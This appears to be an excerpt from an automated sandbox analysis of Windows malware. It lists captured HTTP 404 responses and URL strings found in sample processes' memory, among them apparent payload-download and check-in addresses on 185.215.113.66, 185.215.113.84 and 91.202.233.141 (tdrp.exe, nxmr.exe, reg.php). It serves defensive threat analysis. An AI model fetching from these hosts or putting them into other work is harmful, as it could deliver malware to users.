Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:59 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:28:02 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:28:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.215.113.66/
Source: sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1$
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/17.36C:
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1C:
Source: sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1E
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1FR
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1MR
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1_R
Source: sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1t
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1tR
Source: sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1x
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1zR
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2t
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2zR
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3
Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3405117-2476756634-1003$
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3_R
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000793000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4C:
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4MMC:
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5C:
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5aR-
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5hR&
Source: 21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s
Source: 2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.66/reg.php?s=%s
Source: 2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.66/reg.php?s=%sMozilla/5.0
Source: sysppvrdnvs.exe	String found in binary or memory: http://185.215.113.66/tdrp.exe
Source: 21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.215.113.66/tdrp.exe%s:Zone.Identifier/c
Source: Us051y7j25.exe, 00000000.00000003.2341630604.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exe
Source: Us051y7j25.exe, 00000000.00000003.2341630604.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exe2
Source: Us051y7j25.exe, 00000000.00000003.2341698411.0000000000913000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000003.2341074992.000000000090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exeC:
Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exeLMEM
Source: Us051y7j25.exe, 00000000.00000003.2341630604.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exeUUC:
Source: Us051y7j25.exe, 00000000.00000003.2341630604.00000000008EC000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exel
Source: Us051y7j25.exe, 00000000.00000003.2341630604.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exen
Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/tdrpl.exeystem32
Source: Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ws
Source: 1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/
Source: 1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/U
Source: 1091722296.exe, 1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp, 1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exe
Source: 1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exeF
Source: 1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exeH
Source: 1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exeM
Source: sysppvrdnvs.exe, 00000004.00000002.3519879105.0000000002E53000.00000004.00000020.00020000.00000000.sdmp, 1091722296.exe, 0000001B.00000000.2731715048.0000000000602000.00000002.00000001.01000000.0000000B.sdmp, 1091722296.exe, 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exeP0
Source: 1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.84/nxmr.exep
Source: 21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 146916724.exe, 0000001D.00000002.2876135463.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141//Rg
Source: sysppvrdnvs.exe, 00000004.00000002.3520183951.0000000002F9C000.00000004.00000010.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/2
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/2MR
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/3
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4#
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4r
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5
Source: 146916724.exe, 0000001D.00000002.2876135463.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, 146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASD
Source: 146916724.exe, 0000001D.00000002.2876135463.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASD1
Source: 146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASD?
Source: 146916724.exe, 0000001D.00000002.2876135463.0000000000BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASDH
Source: sysppvrdnvs.exe, 00000004.00000002.3525303582.0000000004B40000.00000004.00000020.00020000.00000000.sdmp, 146916724.exe, 0000001D.00000000.2817112808.0000000000C92000.00000002.00000001.01000000.0000000D.sdmp, 146916724.exe, 0000001D.00000002.2876438869.0000000000C92000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASDMozilla/5.0
Source: 146916724.exe, 0000001D.00000002.2876135463.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ALLBSTATAASASDO
Source: 2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://91.202.233.141/TLOADEDBROMozilla/5.0
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/der
Source: sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/tography
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: powershell.exe, 0000001E.00000002.2929967156.0000025221970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m5
Source: powershell.exe, 0000001E.00000002.2937786376.0000025221AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 0000001E.00000002.2924839612.000002521948A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3096620237.0000015D9006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, powershell.exe, 0000001E.00000002.2891902429.0000025209649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: powershell.exe, 0000001E.00000002.2891902429.0000025209421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001E.00000002.2891902429.0000025209649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000023.00000002.3113150538.0000015DF3020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 0000001E.00000002.2936923038.0000025221A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t.com/pk
